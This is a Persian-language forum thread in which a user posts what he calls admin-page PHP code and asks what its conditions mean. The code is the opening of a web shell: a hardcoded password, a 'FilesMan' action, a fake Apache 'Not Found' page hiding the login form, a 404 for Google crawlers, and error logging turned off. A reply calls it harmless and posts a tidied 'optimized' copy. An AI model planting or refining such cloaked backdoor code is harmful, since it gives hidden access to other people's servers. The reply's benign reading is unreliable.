PDA

View Full Version : حرفه ای: مشکل کوچولو



mehdiv
یک شنبه 01 اردیبهشت 1392, 23:12 عصر
با سلام خدمت تمامی دوستان
من یه کد صفحه ادمین دارم که واسه اون یه سری شرط برای اجرا تعریف شده راستش نفهمیدم
میشه کمکم کنید اینم شرط


<?php


$auth_pass = "152";
$color = "#00ff00";
$default_action = 'FilesMan';
@define('SELF_PATH', __FILE__);
if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
header('HTTP/1.0 404 Not Found');
exit;
}
@session_start();
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('VERSION', '2.1');
if( get_magic_quotes_gpc() ) {
function stripslashes_array($array) {
return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
}
$_POST = stripslashes_array($_POST);
}
function printLogin() {
?>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache Server at <?=$_SERVER['HTTP_HOST']?> Port 80</address>
<style>
input { margin:0;background-color:#fff;border:1px solid #fff; }
</style>
<center>
<form method=post>
<input type=password name=pass>
</form></center>
<?php
exit;
}

MostafaEs3
دوشنبه 02 اردیبهشت 1392, 00:18 صبح
چیز خاصی توی این کد نداریم . فقط درصورت روشن بودن magic_quotes_gpc مقادیر POST رو بوسیله stripslashes درست میکنه . البته هنوز نفهمیدم چرا در این کد محدودیت پردازشی بوسیله set_time_limit برداشته شده ! چون معمولا واسه خزنده ها اینکارو میکنن
--------------------
در بالا هم یک شرط داریم که اگر توی UserAgent عبارت Google رو پیدا کرد وضعیت 404 رو بفرسته و خارج بشه ... یک تابع هم داریم که فکر کنم برای نمایش صفحه Not Found هست

ضمنا کدنویسی خیلی بهینه سازی نشده . یک نمونه بهینه تر رو حاضر کردم . ببینید ::


$auth_pass = "152";
$color = "#00ff00";
$default_action = 'FilesMan';

define('VERSION', '2.1');
define('SELF_PATH', __FILE__);
if( strpos($_SERVER['HTTP_USER_AGENT'], 'Google') !== false ) {
header('HTTP/1.0 404 Not Found');
exit();
}
session_start();
error_reporting(E_ALL);

ini_set('error_log', NULL);
ini_set('log_errors', 0);
ini_set('max_execution_time', 0);

set_time_limit(0);
set_magic_quotes_runtime(0);

if (get_magic_quotes_gpc()) {
function stripslashes_array($array) {
return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
}

$_POST = stripslashes_array($_POST);
}

function printLogin() { ?>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache Server at <?php echo $_SERVER['HTTP_HOST']?> Port 80</address>
<style type="text/css">
input { margin:0;background-color:#fff;border:1px solid #fff; }
</style>
<center>
<form method="post">
<input type="password" name="pass" />
</form>
</center>
<?php
exit;
}
?>